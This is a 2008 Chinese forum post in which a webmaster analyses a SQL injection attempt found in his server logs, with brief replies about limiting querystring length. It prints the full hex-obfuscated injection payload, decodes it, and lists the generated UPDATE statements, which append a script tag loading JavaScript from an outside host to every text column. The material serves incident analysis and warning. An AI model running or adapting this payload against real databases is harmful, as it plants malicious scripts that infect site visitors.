记一次数据库的经典入侵分析

我看你有戏 2008-12-03 09:43:53


某日发现web服务器上的11-27的日志比往日的大n倍
打开日志一看发现有n个类似错误

2008-11-27 16:55:31----------select [id],code_name,code_detail,code_type,ClickNum from code_search where id='388;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F0062006A006500630074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720069006D00280043006F006E007600650072007400280056006100720063006800610072002800340030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0053006300720069007000740020005300720063003D0068007400740070003A002F002F0063002E006E00750063006C0065006100720033002500320045002500360033006F006D002F006300730073002F0063002E006A0073003E003C002F005300630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);--'------------RunSqlDataRow函数出现错误。


把以上语句的ExEc(@S);修改为print @S打印处理的结果是

Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(4000),['+@C+']))+''<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>''')Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor


把这句话
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(4000),['+@C+']))+''<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>''')

改为
print('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(4000),['+@C+']))+''<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>''')


运行此代码
update [code_tag] Set [CodeTag]=Rtrim(Convert(Varchar(4000),[CodeTag]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [code_admin] Set [admin_user]=Rtrim(Convert(Varchar(4000),[admin_user]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [code_admin] Set [admin_pwd]=Rtrim(Convert(Varchar(4000),[admin_pwd]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [code_admin] Set [quanxian]=Rtrim(Convert(Varchar(4000),[quanxian]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [code_admin] Set [email]=Rtrim(Convert(Varchar(4000),[email]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [code_search] Set [code_name]=Rtrim(Convert(Varchar(4000),[code_name]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [code_search] Set [code_detail]=Rtrim(Convert(Varchar(4000),[code_detail]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [code_type] Set [typeName]=Rtrim(Convert(Varchar(4000),[typeName]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [TbFileData] Set [MyFileName]=Rtrim(Convert(Varchar(4000),[MyFileName]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [TbFileData] Set [FileType]=Rtrim(Convert(Varchar(4000),[FileType]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [TbFileData] Set [filelength]=Rtrim(Convert(Varchar(4000),[filelength]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [TbFileData] Set [suffix]=Rtrim(Convert(Varchar(4000),[suffix]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [dtproperties] Set [property]=Rtrim(Convert(Varchar(4000),[property]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [dtproperties] Set [value]=Rtrim(Convert(Varchar(4000),[value]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'
update [dtproperties] Set [uvalue]=Rtrim(Convert(Varchar(4000),[uvalue]))+'<Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>'


--发现此人想把我的数据库字段都加上木马连接


--乖乖我的龙叮咚,这人也太很了,想来我站点挂马啊,呵呵

--幸好给我截获了,Hoho好危险啊

--web编程数据库安全不容忽视

--本站地址http://www.nuli365.com

...全文
230 15 打赏 收藏 转发到动态 举报
写回复
用AI写文章
15 条回复
切换为时间正序
请发表友善的回复…
发表回复
我看你有戏 2008-12-03
  • 打赏
  • 举报
回复
sql2000的版本

可能2005已经修改了吧
dobear_0922 2008-12-03
  • 打赏
  • 举报
回复
我修改了语句,然后执行了一下,什么也没打印,,,

(SQL2005)
dobear_0922 2008-12-03
  • 打赏
  • 举报
回复
看看先
生活真美好 2008-12-03
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 xieyueqing 的回复:]
...
[/Quote]
.
  • 打赏
  • 举报
回复
o
you_tube 2008-12-03
  • 打赏
  • 举报
回复
[Quote=引用 8 楼 cool_hnu 的回复:]

[/Quote]
.

apple被占用了 2008-12-03
  • 打赏
  • 举报
回复

!?
强人。
cool_hnu 2008-12-03
  • 打赏
  • 举报
回复
我看你有戏 2008-12-03
  • 打赏
  • 举报
回复
1k 就足够可以执行他的那句入侵语句了哦,
jinjazz 2008-12-03
  • 打赏
  • 举报
回复
[Quote=引用 4 楼 henry3695 的回复:]

这么一长串的数据是从querystring里传进来的

看来querystring的长度需要限制一下


[/Quote]

querystring的长度本身就限制在1k左右,但是post的数据,iis中一般默认是4兆
super_iven 2008-12-03
  • 打赏
  • 举报
回复
学习
我看你有戏 2008-12-03
  • 打赏
  • 举报
回复

这么一长串的数据是从querystring里传进来的

看来querystring的长度需要限制一下

wanshichen 2008-12-03
  • 打赏
  • 举报
回复
学习……
xieyueqing 2008-12-03
  • 打赏
  • 举报
回复
...
hyde100 2008-12-03
  • 打赏
  • 举报
回复
o

34,594

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server相关内容讨论专区
社区管理员
  • 基础类社区
  • 二月十六
  • 卖水果的net
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧